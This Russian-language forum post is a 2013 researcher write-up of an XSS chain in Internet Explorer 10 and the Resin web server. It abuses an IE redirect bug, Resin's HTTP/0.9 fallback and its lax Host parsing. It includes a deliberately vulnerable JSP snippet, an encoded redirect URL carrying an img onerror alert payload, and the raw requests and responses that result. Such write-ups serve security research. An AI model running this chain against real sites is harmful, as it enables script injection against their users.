Показать сообщение отдельно
Старый 13.09.2013, 09:22   #3
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Ковырялся с ошибками парсинга запросов веб-серверами и придумал жутко наркоманский вектор с использованием ошибки перенаправления в Internet Explorer, описанной в первом сообщении этой темы.

1) Java веб-сервер Resin поддерживает HTTP/0.9
2) Resin считает (а так же еще некоторые веб-серверы, которы я смотрел), что пользователь шлет запрос в HTTP/0.9, если после URI в запросе идет НЕ версия протокола, например следующий запрос будет обработан как HTTP/0.9:
Код:
GET /ololo ololo HTTP/1.1
3) Resin поддерживает спец-символы в заголовке Host


Теперь предположим, что на данном веб-сервере крутится следующий xss.jsp
Код:
<%
response.setHeader("Content-Type","text/xml");
out.println("<root>"+request.getParameter("x")+"</root>");
%>
В обычных условиях IE просто выдаст xml в соответствии с Content-Type.



А если использовать ошибку перенаправления IE, то получится следующее:
Код:
http://redirect/redirect?r=http://192.168.0.10%252Fxss.jsp%253fx=%2523<img%252Fsrc='x'onerror=alert(1)>%20x

Location: http://192.168.0.10%2Fxss.jsp%3fx=%23<img%2Fsrc='x'onerror=alert(1)> x
Получив через сценарий перенаправления такой Location, IE сформирует следующий запрос (из-за бага):
Код:
GET /xss.jsp?x=#<img/src='x'onerror=alert(1)> xrt(1)>%20x/ HTTP/1.1
Host: 192.168.0.10/xss.jsp?x=#<img/src='x'onerror=alert(1)> x
Что из-за дополнительного пробела переключит Resin в HTTP/0.9, где он сформирует ответ без заголовков
Код:
<root>#<img/src='x'onerror=alert(1)></root>
И IE получив ответ в HTTP/0.9 с обходом XSS фильтра за счет символа # с чистой совестью интерпретирует его как text/html



Все вышеописанное проводилось на последних версиях IE 10 и Resin.
PS: юзать миллион багов/недочетов ради XSS с кучей условий в одном единственном браузере это круто
Изображения
  

Последний раз редактировалось BlackFan; 13.09.2013 в 09:26..
BlackFan вне форума   Ответить с цитированием